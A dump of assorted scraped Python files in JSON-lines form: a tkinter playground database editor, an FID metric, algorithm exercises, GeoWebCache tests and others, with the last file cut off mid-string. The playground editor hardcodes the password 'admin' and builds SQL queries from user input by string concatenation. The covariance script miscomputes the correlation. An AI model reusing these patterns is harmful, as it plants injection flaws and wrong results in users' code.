'mathematics': ms}, \n index=pd.Index([chr(i) for i in range(65, 65+26)],\n name='student')\n )\n\n df['deviation_english'] = df['english'] - df['english'].mean()\n df['deviation_mathematics'] = df['mathematics'] - df['mathematics'].mean()\n df['product_of_deviation'] = df['deviation_english'] * df['deviation_mathematics']\n \n # correlation coefficient\n cc = np.cov(df['english'], df['mathematics'], ddof=0)[0, 1] / (np.std(df['english'] * np.std(df['mathematics'])))\n print(cc)\n\nif __name__ == \"__main__\":\n main()","sub_path":"chapter3/covariance.py","file_name":"covariance.py","file_ext":"py","file_size_in_byte":881,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"518365774","text":"import requests\nimport os\nurl = \"https://timgsa.baidu.com/timg?image&quality=80&size=b9999_10000&sec=1537201752405&di=219e8e7db1aae1e83543fec9ea38d994&imgtype=0&src=http%3A%2F%2Fdingyue.nosdn.127.net%2FIv4t8xAwe3sp267QdQDIhmXxMognIdzryVx7cq5u8REhD1525931032055.jpg\"\nroot = \"D://pics//\"\npath = root+url.split('%2F')[-1]\ntry:\n\tif not os.path.exists(root):\n\t\tos.mkdir(root)\n\tif not os.path.exists(path):\n\t\tr=requests.get(url)\n\t\twith open(path,'wb') as f:\n\t\t\tf.write(r.content)\n\t\t\tf.close()\n\t\t\tprint(\"文件保存成功\")\n\telse:\n\t\tprint(\"文件已存在\")\nexcept:\n\tprint(\"爬取失败\")","sub_path":"pachong/pic.py","file_name":"pic.py","file_ext":"py","file_size_in_byte":582,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"385848880","text":"import tkinter as tk\nfrom PIL import Image, ImageTk\nimport sqlite3\n\n\nclass main:\n def __init__(self,root,id = -1):\n self.id = id\n self.root = root\n top = tk.Toplevel(root)\n top.transient(root)\n top.minsize(height=650, width=850)\n self.top = top\n canvas = tk.Canvas(top,bg = '#fff')\n canvas.pack(fill = 'both',expand = 1)\n label = tk.Label(canvas, text='ADD FIELD DETAILS', \n font=('Georgia', 24), fg='#FF3625', bg='#fff', pady=20)\n label.pack(fill = 'x')\n\n #Frame foe the image\n frame=tk.Frame(canvas,bg='#fff',height = 200)\n frame.pack(fill='x',padx=10,pady=10,ipady=20)\n image = tk.Label(frame,text = 'THE IMAGE WILL APPEAR HERE ',\n bg = '#eee',relief = 'raise',font = (' ',16),fg = '#000')\n image.place(relwidth = 1,relheight = 1)\n self.image = image\n\n #frame for the field id\n frame=tk.Frame(canvas,bg='blue')\n frame.pack(fill='x',padx=10,pady=10,ipady=20)\n label = tk.Label(frame,bg=\"#fff\",text='PLAYGROUND ID :',anchor='w',font=(' ',12))\n label.place(height=30, relwidth=0.4, rely=0.5, relx=0, anchor='w')\n fieldId = tk.Label(frame,font=(' ',11),text= 'ID' )\n fieldId.place(height=30,relwidth = 0.6,rely=0.5,relx=1,anchor ='e')\n self.fieldId = fieldId\n\n #frame for the field name\n frame=tk.Frame(canvas,bg='#fff')\n frame.pack(fill='x',padx=10,pady=10,ipady=20)\n label = tk.Label(frame,bg=\"#fff\",text='PLAYGROUND NAME :',anchor='w',font=(' ',12,'bold'))\n label.place(height=30, relwidth=0.4, rely=0.5, relx=0, anchor='w')\n fieldName = tk.Entry(frame,font=(' ',11),relief='ridge',bd=2)\n fieldName.place(height=30,relwidth = 0.6,rely=0.5,relx=1,anchor ='e')\n self.fieldName = fieldName\n\n \t#frame for the field image\n frame = tk.Frame(canvas, bg='#fff')\n frame.pack(fill='x', padx=10, pady=10, ipady=20)\n label = tk.Label(frame, bg=\"#fff\", text='IMAGE PATH :',\n anchor='w', font=(' ', 12, 'bold'))\n label.place(height=30, relwidth=0.15, rely=0.5, relx=0, anchor='w')\n imageLoc = tk.Entry(frame, font=(' ', 11), relief='ridge', bd=2)\n imageLoc.place(height=30, relwidth=0.349,\n rely=0.5, relx=0.15, anchor='w')\n imageLoc.bind('', self.updateImage)\n label = tk.Label(frame, bg=\"#fff\", text='SPORT :',\n anchor='w', font=(' ', 12, 'bold'))\n label.place(height=30, relwidth=0.15, rely=0.5, relx=0.5, anchor='w')\n fieldSport = tk.Entry(frame, font=(' ', 11), relief='ridge', bd=2)\n fieldSport.place(height=30, relwidth=0.349,\n rely=0.5, relx=0.65, anchor='w')\n self.fieldSport = fieldSport\n self.imageLoc = imageLoc\n #frame for the field sport\n\n #frame for the field sport\n frame = tk.Frame(canvas, bg='#fff')\n frame.pack(fill='x', padx=10, pady=10, ipady=20)\n label = tk.Label(frame, bg=\"#fff\", text='LOCATION :',\n anchor='w', font=(' ', 12, 'bold'))\n label.place(height=30, relwidth=0.15, rely=0.5, relx=0, anchor='w')\n fieldLocation = tk.Entry(frame, font=(' ', 11), relief='ridge', bd=2)\n fieldLocation.place(height=30, relwidth=0.349,\n rely=0.5, relx=0.15, anchor='w')\n label = tk.Label(frame, bg=\"#fff\", text='DIMENSION :',\n anchor='w', font=(' ', 12, 'bold'))\n label.place(height=30, relwidth=0.15, rely=0.5, relx=0.5, anchor='w')\n fieldDimension = tk.Entry(frame, font=(' ', 11), relief='ridge', bd=2)\n fieldDimension.place(height=30, relwidth=0.349,\n rely=0.5, relx=0.65, anchor='w')\n self.fieldLocation = fieldLocation\n self.fieldDimension = fieldDimension\n #frame for the dimension\n\n #frame for the Cost\n frame = tk.Frame(canvas, bg='#fff')\n frame.pack(fill='x', padx=10, pady=10, ipady=20)\n label = tk.Label(frame, bg=\"#fff\", text='COST :',\n anchor='w', font=(' ', 12, 'bold'))\n label.place(height=30, relwidth=0.15, rely=0.5, relx=0, anchor='w')\n fieldCost = tk.Entry(frame, font=(' ', 11), relief='ridge', bd=2)\n fieldCost.place(height=30, relwidth=0.349,\n rely=0.5, relx=0.15, anchor='w')\n label = tk.Label(frame, bg=\"#fff\", text='CAPACITY :',\n anchor='w', font=(' ', 12, 'bold'))\n label.place(height=30, relwidth=0.15, rely=0.5, relx=0.5, anchor='w')\n fieldCapacity = tk.Entry(frame, font=(' ', 11), relief='ridge', bd=2)\n fieldCapacity.place(height=30, relwidth=0.349,\n rely=0.5, relx=0.65, anchor='w')\n self.fieldCost = fieldCost\n self.fieldCapacity = fieldCapacity\n #frame for the capacity\n\n #frame for the FIeld description\n frame = tk.Frame(canvas, bg='#fff')\n frame.pack(fill='x', padx=10, pady=10, ipady=20)\n fieldDesc = tk.Entry(frame, font=(' ', 11), relief='ridge', bd=2)\n fieldDesc.place(height=30, relwidth=1, rely=0.5, relx=1, anchor='e')\n self.fieldDesc = fieldDesc\n #frame for the password\n frame=tk.Frame(canvas,bg='#fff')\n frame.pack(fill='x',padx=10,pady=10,ipady=20)\n label = tk.Label(frame,bg=\"#fff\",text='PASSWORD :',anchor='w',font=(' ',12,'bold'))\n label.place(height=30, relwidth=0.4, rely=0.5, relx=0, anchor='w')\n adminPass = tk.Entry(frame, font=(' ', 11), relief='ridge', bd=2, show='*')\n adminPass.place(height=30,relwidth = 0.6,rely=0.5,relx=1,anchor ='e')\n self.adminPass = adminPass\n #button for the submit \n frame=tk.Frame(canvas,bg='#fff')\n frame.pack(fill='x',padx=10,pady=15,ipady=20)\n submit = tk.Button(frame, font=(' ', 14), relief='ridge',\n text='Save', cursor='hand2', bg='#000',fg='#fff',command=self.save)\n submit.place(height=40,relwidth = 0.4,relx=0.5,rely=1,anchor ='s')\n\n #when called for updation\n if(id > 0):\n # self.fieldId.config(text = id)\n conn = sqlite3.connect('playgrounds.db')\n query = f'select * from playgrounds where f_id = {id};'\n a = conn.execute(query)\n l = a.fetchall()\n # print(l)\n conn.close()\n # print(id)\n # self.top.quit()\n self.fieldId.config(text= f'#{id}')\n self.fieldName.insert(0,str(l[0][1]))\n self.fieldDimension.insert(0,str(l[0][2]))\n self.fieldLocation.insert(0,str(l[0][3]))\n self.fieldCapacity.insert(0,str(l[0][4]))\n self.fieldSport.insert(0,str(l[0][6]))\n self.imageLoc.insert(0,str(l[0][7]))\n self.fieldCost.insert(0,str(l[0][8]))\n self.fieldDesc.insert(0,str(l[0][9]))\n widget = self.image\n try:\n path = str(l[0][7])\n image = Image.open(path)\n background_image = ImageTk.PhotoImage(image)\n widget.config(text='', image=background_image)\n widget.image = background_image\n print('Image Set')\n except:\n widget.config(text='Wrong Path or Format\\nImage Will Appear here', image='')\n print('wrong path')\n \n #for the image update\n def updateImage(self,e):\n widget = self.image\n try:\n path = e.widget.get()\n image = Image.open(path)\n background_image = ImageTk.PhotoImage(image)\n widget.config(text='', image=background_image)\n widget.image = background_image\n print('Image Updated', path)\n except:\n widget.config(text = 'Wrong Path or Format\\nImage Will Appear here',image = '')\n print('wrong path')\n\n def save(self):\n fieldName = self.fieldName.get()\n fieldDimension = self.fieldDimension.get()\n fieldLocation = self.fieldLocation.get()\n fieldCapacity = self.fieldCapacity.get()\n fieldSport = self.fieldSport.get()\n imageLoc = self.imageLoc.get()\n fieldCost = self.fieldCost.get()\n fieldDesc = self.fieldDesc.get()\n password = self.adminPass.get()\n l = [(fieldName,fieldDimension,fieldLocation,fieldCapacity,fieldSport,imageLoc,fieldCost,fieldDesc)]\n # print(l,password)\n \n #admin password verification \n if(password == 'admin'):\n if self.id == -1 :\n try:\n conn = sqlite3.connect('playgrounds.db')\n conn.executemany(\n 'Insert into playgrounds(f_name,dimension,location,capacity,sports,image,price,description) values (?,?,?,?,?,?,?,?)', l)\n print('inserted')\n conn.commit()\n conn.close()\n self.top.withdraw()\n\n except:\n print('error insert')\n else:\n try:\n conn = sqlite3.connect('playgrounds.db')\n query = \"update playgrounds set f_name = '\" + fieldName + \"',dimension = '\" + fieldDimension + \"', location = '\" + fieldLocation + \"',capacity ='\" + fieldCapacity + \"',sports = '\" + fieldSport + \"',image = '\" + imageLoc + \"',price = '\" + fieldCost + \"',description ='\" + fieldDesc + \"' where f_id = \" + str(self.id)\n conn.execute(query)\n print('updated')\n conn.commit()\n conn.close()\n self.top.withdraw()\n except:\n print('error update')\n\n else:\n print('The password is incorrect')\n\n","sub_path":"addPlayground.py","file_name":"addPlayground.py","file_ext":"py","file_size_in_byte":9890,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"48042758","text":"# from https://github.com/bioinf-jku/TTUR\n\nimport os\nimport shutil\nimport urllib\nimport pathlib\nimport warnings\nimport numpy as np\nimport gzip, pickle\nimport tensorflow as tf\n\nfrom tqdm import tqdm\nfrom PIL import Image\nfrom scipy import linalg\nfrom torchvision.utils import save_image\n\nfrom training import generate\nfrom params import DATA_PATH\n\n\nWEIGHTS_PATH = \"../input/classify_image_graph_def.pb\"\n\nmodel_params = {\n \"Inception\": {\n \"name\": \"Inception\",\n \"imsize\": 64,\n \"output_layer\": \"Pretrained_Net/pool_3:0\",\n \"input_layer\": \"Pretrained_Net/ExpandDims:0\",\n \"output_shape\": 2048,\n \"cosine_distance_eps\": 0.1,\n }\n}\n\n\nclass KernelEvalException(Exception):\n pass\n\n\ndef create_model_graph(pth):\n with tf.io.gfile.GFile(pth, \"rb\") as f:\n graph_def = tf.compat.v1.GraphDef()\n graph_def.ParseFromString(f.read())\n _ = tf.import_graph_def(graph_def, name=\"Pretrained_Net\")\n\n\ndef _get_model_layer(sess, model_name):\n layername = model_params[model_name][\"output_layer\"]\n layer = sess.graph.get_tensor_by_name(layername)\n ops = layer.graph.get_operations()\n for op_idx, op in enumerate(ops):\n for o in op.outputs:\n shape = o.get_shape()\n if shape._dims != []:\n shape = [s.value for s in shape]\n new_shape = []\n for j, s in enumerate(shape):\n if s == 1 and j == 0:\n new_shape.append(None)\n else:\n new_shape.append(s)\n o.__dict__[\"_shape_val\"] = tf.TensorShape(new_shape)\n return layer\n\n\ndef get_activations(images, sess, model_name, batch_size=50, verbose=False):\n inception_layer = _get_model_layer(sess, model_name)\n n_images = images.shape[0]\n if batch_size > n_images:\n print(\n \"warning: batch size is bigger than the data size. setting batch size to data size\"\n )\n batch_size = n_images\n n_batches = n_images // batch_size + 1\n pred_arr = np.empty((n_images, model_params[model_name][\"output_shape\"]))\n for i in range(n_batches):\n if verbose:\n print(\"\\rPropagating batch %d/%d\" % (i + 1, n_batches), end=\"\", flush=True)\n start = i * batch_size\n if start + batch_size < n_images:\n end = start + batch_size\n else:\n end = n_images\n\n batch = images[start:end]\n pred = sess.run(\n inception_layer, {model_params[model_name][\"input_layer\"]: batch}\n )\n pred_arr[start:end] = pred.reshape(-1, model_params[model_name][\"output_shape\"])\n if verbose:\n print(\" done\")\n return pred_arr\n\n\ndef normalize_rows(x: np.ndarray):\n return np.nan_to_num(x / np.linalg.norm(x, ord=2, axis=1, keepdims=True))\n\n\ndef calculate_frechet_distance(mu1, sigma1, mu2, sigma2, eps=1e-6):\n mu1 = np.atleast_1d(mu1)\n mu2 = np.atleast_1d(mu2)\n\n sigma1 = np.atleast_2d(sigma1)\n sigma2 = np.atleast_2d(sigma2)\n\n assert (\n mu1.shape == mu2.shape\n ), \"Training and test mean vectors have different lengths\"\n assert (\n sigma1.shape == sigma2.shape\n ), \"Training and test covariances have different dimensions\"\n\n diff = mu1 - mu2\n\n # product might be almost singular\n covmean, _ = linalg.sqrtm(sigma1.dot(sigma2), disp=False)\n if not np.isfinite(covmean).all():\n msg = (\n \"fid calculation produces singular product; adding %s to diagonal of cov estimates\"\n % eps\n )\n warnings.warn(msg)\n offset = np.eye(sigma1.shape[0]) * eps\n # covmean = linalg.sqrtm((sigma1 + offset).dot(sigma2 + offset))\n covmean = linalg.sqrtm((sigma1 + offset).dot(sigma2 + offset))\n\n # numerical error might give slight imaginary component\n if np.iscomplexobj(covmean):\n if not np.allclose(np.diagonal(covmean).imag, 0, atol=1e-3):\n m = np.max(np.abs(covmean.imag))\n raise ValueError(\"Imaginary component {}\".format(m))\n covmean = covmean.real\n\n tr_covmean = np.trace(covmean)\n return diff.dot(diff) + np.trace(sigma1) + np.trace(sigma2) - 2 * tr_covmean\n\n\ndef calculate_activation_statistics(\n images, sess, model_name, batch_size=50, verbose=False\n):\n act = get_activations(images, sess, model_name, batch_size, verbose)\n mu = np.mean(act, axis=0)\n sigma = np.cov(act, rowvar=False)\n return mu, sigma, act\n\n\ndef _handle_path_memorization(path, sess, model_name, is_checksize, is_check_png):\n path = pathlib.Path(path)\n files = list(path.glob(\"*.jpg\")) + list(path.glob(\"*.png\"))\n imsize = model_params[model_name][\"imsize\"]\n\n # In production we don't resize input images. This is just for demo purpose.\n x = np.array(\n [\n np.array(img_read_checks(fn, imsize, is_checksize, imsize, is_check_png))\n for fn in files\n ]\n )\n m, s, features = calculate_activation_statistics(x, sess, model_name)\n del x # clean up memory\n return m, s, features\n\n\ndef img_read_checks(\n filename, resize_to, is_checksize=False, check_imsize=64, is_check_png=False\n):\n im = Image.open(str(filename))\n if is_checksize and im.size != (check_imsize, check_imsize):\n raise KernelEvalException(\"The images are not of size \" + str(check_imsize))\n\n if is_check_png and im.format != \"PNG\":\n raise KernelEvalException(\"Only PNG images should be submitted.\")\n\n if resize_to is None:\n return im\n else:\n return im.resize((resize_to, resize_to), Image.ANTIALIAS)\n\n\ndef calculate_kid_given_paths(paths, model_name, model_path, feature_path=None):\n \"\"\" Calculates the KID of two paths. \"\"\"\n tf.compat.v1.reset_default_graph()\n create_model_graph(str(model_path))\n with tf.compat.v1.Session() as sess:\n sess.run(tf.compat.v1.global_variables_initializer())\n m1, s1, features1 = _handle_path_memorization(\n paths[0], sess, model_name, is_checksize=True, is_check_png=True\n )\n if feature_path is None:\n m2, s2, features2 = _handle_path_memorization(\n paths[1], sess, model_name, is_checksize=False, is_check_png=False\n )\n else:\n with np.load(feature_path) as f:\n m2, s2, features2 = f[\"m\"], f[\"s\"], f[\"features\"]\n\n return calculate_frechet_distance(m1, s1, m2, s2)\n\n\ndef compute_fid(generated_path, real_path, graph_path, model_params, eps=10e-15):\n return calculate_kid_given_paths([generated_path, real_path], \"Inception\", graph_path)\n\n\ndef tmp_eval(generator, folder='../output/tmp_images', n_images=10000, \n im_batch_size=50, latent_dim=128, nb_classes=120):\n if os.path.exists(folder):\n shutil.rmtree(folder, ignore_errors=True)\n os.mkdir(folder)\n\n for i_b in range(0, n_images, im_batch_size):\n gen_images = generate(generator, n=im_batch_size, latent_dim=latent_dim, nb_classes=nb_classes)\n for i_img in range(gen_images.size(0)):\n save_image(gen_images[i_img, :, :, :], os.path.join(folder, f'img_{i_b+i_img}.png'))\n \n if len(os.listdir(folder)) != n_images:\n print(len(os.listdir(folder)))\n \n fid = compute_fid(folder, DATA_PATH, WEIGHTS_PATH, model_params)\n shutil.rmtree(folder, ignore_errors=True)\n return fid","sub_path":"src/metric.py","file_name":"metric.py","file_ext":"py","file_size_in_byte":7341,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"363640671","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\nimport argparse\nimport sys\n\n\ndef genParser():\n parser = argparse.ArgumentParser(description='returns the cuts from the'\n 'given string')\n parser.add_argument('-f', '--file', type=argparse.FileType(),\n help='the input file')\n parser.add_argument('-v', action='store_true',\n help='print the return value')\n return parser\n\n\ndef getArgs():\n args = genParser().parse_args()\n retD = {}\n if args.file:\n f = args.file\n retD['string'] = f.readline()\n a = f.readline().split()\n retD['a'] = int(a[0])\n retD['b'] = int(a[1])\n retD['c'] = int(a[2])\n retD['d'] = int(a[3])\n f.close()\n return retD, args.v\n\n\ndef main():\n args, v = getArgs()\n ret = args['string'][args['a']:args['b'] + 1] + ' ' +\\\n args['string'][args['c']:args['d'] + 1]\n if v:\n print(ret)\n return ret\n\nif __name__ == '__main__':\n sys.exit(main())\n","sub_path":"python-village/INI3-stings-and-lists/ini3.py","file_name":"ini3.py","file_ext":"py","file_size_in_byte":1053,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"634221605","text":"# Jingo helpers (Jinja2 custom filters)\nfrom jingo import register\n\n\n@register.filter\ndef humanized_class_name(obj, *args, **kwargs):\n \"\"\"\n Adds spaces to camel-case class names.\n \"\"\"\n humanized = ''\n\n class_name = obj.__class__.__name__\n\n for i in range(len(class_name)):\n humanized += class_name[i]\n # Insert space between every camel hump.\n if (i + 1 < len(class_name) and class_name[i].islower()\n and class_name[i + 1].isupper()):\n humanized += ' '\n\n return humanized\n\n\n@register.filter\ndef prettify_record_type(record_type, *args, **kwargs):\n \"\"\"\n Turns all-lowercase record type string to all caps or splits into\n words if underscore.\n e.g. 'cname' to 'CNAME' and 'address_record' to 'Address Record'\n \"\"\"\n if not record_type:\n return\n\n prettified = ''\n\n if record_type == 'domain':\n return 'Domain'\n elif record_type == 'nameserver':\n return 'Nameserver'\n elif '_' in record_type:\n capitalize = True\n for i in range(len(record_type)):\n if capitalize:\n prettified += record_type[i].upper()\n capitalize = False\n elif record_type[i] == '_':\n prettified += ' '\n capitalize = True\n else:\n prettified += record_type[i]\n return prettified\n\n return record_type.upper()\n\n\n@register.function\ndef a_or_an(next_word):\n \"\"\"\n Chooses 'a' or 'an' depending on first letter of next word.\n Add in special cases if next word is 'hour' or something.\n \"\"\"\n if next_word[0] in ['a', 'e', 'i', 'o', 'u']:\n return 'an'\n else:\n return 'a'\n","sub_path":"cyder/base/helpers.py","file_name":"helpers.py","file_ext":"py","file_size_in_byte":1701,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"271051741","text":"# tc: o(n), sc: o(n)\nclass Solution:\n def myAtoi(self, s: str) -> int:\n s = s.strip()\n\n if not s:\n return 0\n\n is_negative = True if s[0] == '-' else False\n is_positive = True if s[0] == '+' else False\n\n if len(s) == 1:\n return 0 if is_negative or (ord(s[0]) > ord('9')) or (ord(s[0]) < ord('0')) else ord(s[0]) - ord('0')\n\n integer = ord(s[1]) - ord('0') if is_negative or is_positive else ord(s[0]) - ord('0')\n\n if integer > 9 or integer < 0:\n return 0\n \n start_from = 2 if is_negative or is_positive else 1\n\n for i in range(start_from, len(s)):\n char = s[i]\n\n if ord(char) > ord('9') or ord(char) < ord('0'):\n break \n\n int_relative_to_zero = ord(char) - ord('0') \n integer = (integer * 10) + int_relative_to_zero\n \n if abs(integer) >= 2147483648:\n return -2147483648 if is_negative else 2147483647 \n \n return -1 * integer if is_negative else integer\n","sub_path":"string-to-integer-atoi.py","file_name":"string-to-integer-atoi.py","file_ext":"py","file_size_in_byte":1057,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"465659498","text":"##-*************************\n##-* This program is free software; you can use it, redistribute it and/or\n##-* modify it under the terms of the GNU Affero General Public License\n##-* version 3 as published by the Free Software Foundation. The full text of\n##-* the GNU Affero General Public License version 3 can be found in the file\n##-* named 'LICENSE.txt' that accompanies this program. This source code is\n##-* (C)copyright Geoffrey French 2011-2014.\n##-*************************\nimport inspect\nimport types\n\nfrom larch.pres.html import Html\n\n\ndef _span(css_class, x):\n\treturn '{1}'.format(css_class, x)\n\n\ndef _punct_html(x):\n\treturn '{0}'.format(x)\n\ndef _keyword(x):\n\treturn '{0}'.format(x)\n\n\n_quote = _punct_html('\"')\n_triple_quote = _punct_html('\"\"\"')\n\n\n_open_paren = _punct_html('(')\n_close_paren = _punct_html(')')\n_open_bracket = _punct_html('[')\n_close_bracket = _punct_html(']')\n_open_brace = _punct_html('{')\n_close_brace = _punct_html('}')\n_comma = _punct_html(',')\n_comma_space = _punct_html(',') + ' '\n_colon = _punct_html(':')\n_plus = _punct_html('+')\n_equals = _punct_html('=')\n\n\n\n\ndef present_class_header(x):\n\tbases = [_span('python_name', base.__name__) for base in x.__bases__]\n\treturn Html( '

' + _span('python_keyword', 'class') + ' ' + _span('python_classname', x.__name__) + ' ' + _open_paren + _comma_space.join(bases) + _close_paren + '

' )\n\ndef present_class(x):\n\theader = present_class_header(x)\n\tcontents = [header]\n\treturn Html(*contents)\n\n\n\ndef present_def_header(x):\n\tspec = inspect.getargspec(x)\n\targs = []\n\tnum_defaults = len(spec.defaults) if spec.defaults is not None else 0\n\tfor a in spec.args[:-num_defaults]:\n\t\targs.append(_span('python_name', a))\n\tif spec.defaults is not None:\n\t\tfor a, d in zip(spec.args[-num_defaults:], spec.defaults):\n\t\t\targs.append(Html(*[_span('python_name', a) + _equals, d]))\n\tif spec.varargs is not None:\n\t\targs.append(_punct_html('*') + _span('python_name', spec.varargs))\n\tif spec.keywords is not None:\n\t\targs.append(_punct_html('**') + _span('python_name', spec.keywords))\n\tseparated_args = []\n\tif len(args) > 0:\n\t\tseparated_args.append(args[0])\n\t\tfor a in args[1:]:\n\t\t\tseparated_args.append(_comma_space)\n\t\t\tseparated_args.append(a)\n\tdoc = Html()\n\tif x.__doc__ is not None and x.__doc__ != '':\n\t\tdoc = Html(Html.escape_str(x.__doc__).replace('\\n', '
'))\n\n\treturn Html( *(['
' + _span('python_keyword', 'def') + ' ' + _span('python_defname', x.__name__) + ' ' + _open_paren] + separated_args + [_close_paren + '
', doc]))\n\ndef present_function(x):\n\theader = present_def_header(x)\n\tcontents = [header]\n\treturn Html(*contents)\n\n\n\n\n_present_fn_table = {\n\ttype(type) : present_class,\n\ttypes.FunctionType : present_function,\n}\n\ndef present_python(x):\n\tfn = _present_fn_table.get(type(x))\n\tif fn is not None:\n\t\treturn fn(x)\n\telse:\n\t\treturn None\n\n\n","sub_path":"larch/inspector/python_constructs.py","file_name":"python_constructs.py","file_ext":"py","file_size_in_byte":2936,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"62774196","text":"from ant import Ant\r\na=Ant()\r\nn=1\r\n\r\ndef setup():\r\n size(720,720)\r\n global a\r\n \r\n a.display()\r\n \r\ndef draw():\r\n global a\r\n global n\r\n \r\n # delay(5)\r\n \r\n a.update()\r\n a.display()\r\n save(\"video/\"+str(n)+\".png\")\r\n print(n)\r\n n+=1\r\n","sub_path":"processing/langton_s_ant/langton_s_ant.pyde","file_name":"langton_s_ant.pyde","file_ext":"pyde","file_size_in_byte":273,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"561342115","text":"class Solution:\n \"\"\"\n @param nums: A list of integers\n @return: A integer indicate the sum of max subarray\n \"\"\"\n def maxSubArray(self, nums):\n # write your code here\n if nums is None or len(nums) == 0:\n return None\n\n import sys\n maxsum = -sys.maxsize\n minsum = 0\n tsum = 0\n for n in nums:\n tsum += n\n maxsum = max(maxsum, tsum - minsum)\n minsum = min(tsum, minsum)\n\n return maxsum\n\n","sub_path":"leet/source/datastructure/maximum_subarray.py","file_name":"maximum_subarray.py","file_ext":"py","file_size_in_byte":497,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"46908625","text":"#coding:utf-8\nimport multiprocessing.pool\n\nPARALLEL_AGGRESSIVE = 2\nPARALLEL_CONSERVATIVE = 1\nPARALLEL_DISABLED = 0\n\n\ndef multiMap(f, items, workers = 8):\n pool = multiprocessing.pool.ThreadPool(workers) # Code in GCS engine +/- depends on this being threads\n return pool.map(f, items)","sub_path":"cactus/utils/parallel.py","file_name":"parallel.py","file_ext":"py","file_size_in_byte":291,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"595671308","text":"from __future__ import print_function\n\nimport unittest\nimport timeout_decorator\nimport time\nfrom gwcinstance import GWCInstance\nfrom gwctask import GWCTask\nfrom utils import tasks_to_str\nfrom pprint import pprint, pformat\n\nGWC_REST_URL=\"http://localhost:8080/geoserver/gwc/rest\"\nUSERNAME = \"admin\"\nPASSWORD = \"geoserver\"\n\nGLOBAL_TIMEOUT = 1800\nLOCAL_TIMEOUT = 60\n\ndef setUpModule():\n print(\"setUpModule: \" + __name__ + \" set up\")\n print\n\ndef tearDownModule():\n print(\"tearDownModule: \" + __name__ + \" tear down\")\n print\n\nclass TestGWCInstance(unittest.TestCase):\n\n gwc = None\n\n @classmethod\n def setUpClass(cls):\n TestGWCInstance.gwc = GWCInstance(\n gwc_rest_url = GWC_REST_URL,\n username = USERNAME,\n password = PASSWORD\n )\n print(\"setUpClass: \" + cls.__name__ + \" set up\")\n print\n\n @classmethod\n def tearDownClass(cls):\n \"\"\" Test GWCInstance instantiation \"\"\"\n del TestGWCInstance.gwc\n print(\"tearDownClass: \" + cls.__name__ + \" tear down\")\n print\n\n def setUp(self):\n print(\"setUp\")\n assert not TestGWCInstance.gwc.is_busy()\n print\n\n def tearDown(self):\n print(\"tearDown\")\n TestGWCInstance.gwc.kill_tasks()\n while TestGWCInstance.gwc.is_busy():\n time.sleep(1)\n print\n\n @timeout_decorator.timeout(LOCAL_TIMEOUT)\n def test_get_tasks(self):\n \"\"\" Test tasks retrieval \"\"\"\n tasks = TestGWCInstance.gwc.get_tasks()\n assert isinstance(tasks, list)\n pprint(tasks)\n\n @timeout_decorator.timeout(LOCAL_TIMEOUT)\n def test_submit_task_seed(self):\n \"\"\" Test simple seeding task submission \"\"\"\n task = GWCTask(\n name=\"topp:states\",\n srs=4326,\n zoomStart=1,\n zoomStop=8,\n format=\"image/png8\",\n type=\"seed\",\n threadCount=1\n )\n\n print( \"Submitting Task: \\n\" + str(task))\n TestGWCInstance.gwc.submit_task(task)\n\n time.sleep(1)\n tasks = TestGWCInstance.gwc.get_tasks()\n assert len(tasks) == 1\n print( \"Running Tasks: \\n{}\".format(tasks_to_str(tasks)) )\n\n @timeout_decorator.timeout(LOCAL_TIMEOUT)\n def test_submit_task_seed_with_parameters(self):\n \"\"\" Test seeding task with parameters \"\"\"\n task = GWCTask(\n name=\"topp:states\",\n srs=4326,\n parameters=[\n ('STYLES', \"population\"),\n ('CQL_FILTER', \"STATE_NAME='Wyoming'\")\n ],\n zoomStart=1,\n zoomStop=8,\n format=\"image/png8\",\n type=\"seed\",\n threadCount=1\n )\n print( \"Submitting Task: \\n\" + str(task))\n TestGWCInstance.gwc.submit_task(task)\n\n time.sleep(1)\n tasks = TestGWCInstance.gwc.get_tasks()\n assert len(tasks) == 1\n print( \"Running Tasks: \\n{}\".format(tasks_to_str(tasks)) )\n\n @timeout_decorator.timeout(LOCAL_TIMEOUT)\n def test_submit_task_truncate(self):\n \"\"\" Test truncate task \"\"\"\n task = GWCTask(\n name=\"topp:states\",\n srs=4326,\n zoomStart=1,\n zoomStop=8,\n format=\"image/png8\",\n type=\"truncate\",\n threadCount=1\n )\n print(\"Submitting Task: \\n\" + str(task))\n TestGWCInstance.gwc.submit_task(task)\n\n tasks = TestGWCInstance.gwc.get_tasks()\n assert len(tasks) == 1\n print(\"Running Tasks: \\n{}\".format(tasks_to_str(tasks)))\n\n @timeout_decorator.timeout(LOCAL_TIMEOUT)\n def test_submit_task_truncate_with_parameters(self):\n \"\"\" Test truncate task with parameters \"\"\"\n task = GWCTask(\n name=\"topp:states\",\n srs=4326,\n parameters=[\n ('STYLES', \"population\"),\n ('CQL_FILTER', \"STATE_NAME='Wyoming'\")\n ],\n zoomStart=1,\n zoomStop=8,\n format=\"image/png8\",\n type=\"truncate\",\n threadCount=1\n )\n print( \"Submitting Task: \\n\" + str(task))\n TestGWCInstance.gwc.submit_task(task)\n\n tasks = TestGWCInstance.gwc.get_tasks()\n assert len(tasks) == 1\n print( \"Running Tasks: \\n{}\".format(tasks_to_str(tasks)) )\n\n @timeout_decorator.timeout(LOCAL_TIMEOUT)\n def test_kill_tasks_layer(self):\n \"\"\" Test tasks killing on a specific Layer \"\"\"\n task = GWCTask(\n name=\"topp:states\",\n srs=4326,\n zoomStart=1,\n zoomStop=15,\n format=\"image/png8\",\n type=\"seed\",\n threadCount=1\n )\n print( \"Submitting Task: 